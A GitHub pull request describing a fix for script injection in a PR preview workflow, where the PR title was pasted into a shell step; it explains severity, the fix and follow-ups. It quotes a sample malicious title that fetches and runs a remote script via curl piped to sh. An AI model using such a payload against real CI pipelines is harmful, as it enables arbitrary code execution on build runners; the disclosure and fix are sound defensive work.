Repository navigation
Fix script injection in PR Playground preview workflow - #17
Merged
Merged
Conversation
The "Update version placeholder" step interpolated the attacker-controlled
${{ github.event.pull_request.title }} directly into a run: block. GitHub
Actions substitutes ${{ ... }} textually before the shell parses the script,
so a PR title such as a"; curl evil.sh | sh; # executed as shell on the
runner.
Drop the title entirely and stamp a fixed, safe "0.0.0-pr<number>" version
string instead, passing the numeric PR number through env: so it reaches the
shell as data rather than as source text. The PR number is numeric and safe.
Also add a fork guard so the job is skipped on fork PRs, whose read-only
token cannot perform the branch push this workflow relies on.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01JuiSYc2zyC3snrT5wKS1iA
roborourke
marked this pull request as ready for review
August 12, 2026 18:50
Playwright E2E Test Results (PHP 8.4, WP latest)Details
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The vulnerability
.github/workflows/pr-playground-preview.ymlinterpolated the attacker-controlled PR title directly into arun:block:GitHub Actions substitutes
${{ ... }}textually, before the shell parses the script, so the title becomes part of the shell source rather than a shell variable. Opening (or editing) a PR with a crafted title runs arbitrary commands on the runner.Exact exploit
Set the PR title to:
After expansion the step runs (roughly):
The opening
"closes thesedargument string, the;starts a new command, and#comments out the trailing/g" popup.php. The injected pipeline executes as thegithub-actionsuser on the runner. The workflow triggers onpull_requestedited, so the title can be weaponised even after CI first runs.Trigger, token scope, and real severity
on: pull_request(opened,synchronize,reopened,edited) — notpull_request_targetand notissue_comment.GITHUB_TOKENand no access to repository secrets. Thepermissions:block requestscontents: write/pull-requests: write, but GitHub caps a fork PR's token at read-only regardless.Severity: moderate, not critical. Because the trigger is
pull_requestand notpull_request_target, an external attacker's injected code runs with a read-only token and no secrets, so it cannot directly push to the repo, mint releases, or exfiltrate secrets. It is not harmless, though: arbitrary code still executes on the runner, and this job usesactions/setup-nodewithcache: 'npm'— a poisoned npm cache is a plausible escalation path into later runs, including runs on the default branch. A member of the org opening an internal-branch PR would additionally run with a writable token, but that is a trusted actor.I did not find any
pull_request_targetorissue_commenttrigger in this repo, which would have been materially worse (write token + secrets).The fix
0.0.0-pr<number>string instead — both injection-proof and more useful as an actual version identifier.env:so it reaches the shell as data, not as source text. The number is numeric and therefore safe either way; routing it throughenv:keeps the pattern consistent and self-documenting.if: github.event.pull_request.head.repo.full_name == github.repositoryon the job. This workflow force-pushes apr-<n>-builtbranch (needscontents: write); on a fork PR the read-only token makes that push hard-fail, so the job is now skipped cleanly on forks instead.Triage of the remaining
${{ … }}uses inrun:blocksAfter the fix, every remaining expression interpolated into a
run:/shell context is a safe source:env:github.event.pull_request.numbergit checkout -B pr-<n>-builtgithub.event.pull_request.numbergit commit -mgithub.event.pull_request.number,github.shagit push origin pr-<n>-builtgithub.event.pull_request.numberurlgithub.repository,github.event.pull_request.numberowner/reposlug, numeric IDblueprint:inputsteps.blueprint.outputs.blueprintgithub-token:inputsecrets.GITHUB_TOKENNo attacker-controlled source remains. The numeric-ID uses in later
gitsteps were left as direct interpolation because they are safe; converting them toenv:too would be defense-in-depth but is out of scope for this fix.Scope of the vulnerable file across branches
The vulnerable file lives on
main(the default branch), so this PR fixes it at the source; feature branches and the generatedpr-<n>-builtbuild branches all inherit the fix once merged. The pattern currently also appears on unmerged feature branches (claude/*,copilot/*,fix/*) and generatedpr-*-builtbranches, but those derive frommainand will pick up the fix on their next rebase/rebuild — no separate fix needed there.Verification
python3 -c "import yaml; yaml.safe_load(open('.github/workflows/pr-playground-preview.yml'))"passes (valid YAML).${{insiderun:blocks; every remaining hit is triaged in the table above.Out-of-scope observations (follow-ups, not fixed here)
release.ymlonmainstill force-pushes/rewrites a tag onrelease: created; that is being addressed separately in Switch release workflow to manual trigger with version input #16.@v4), not by commit SHA. Pinning to SHAs (as thequery-filterreference does) would harden the supply chain.npm i;npm ciwould be more reproducible in CI.Generated by Claude Code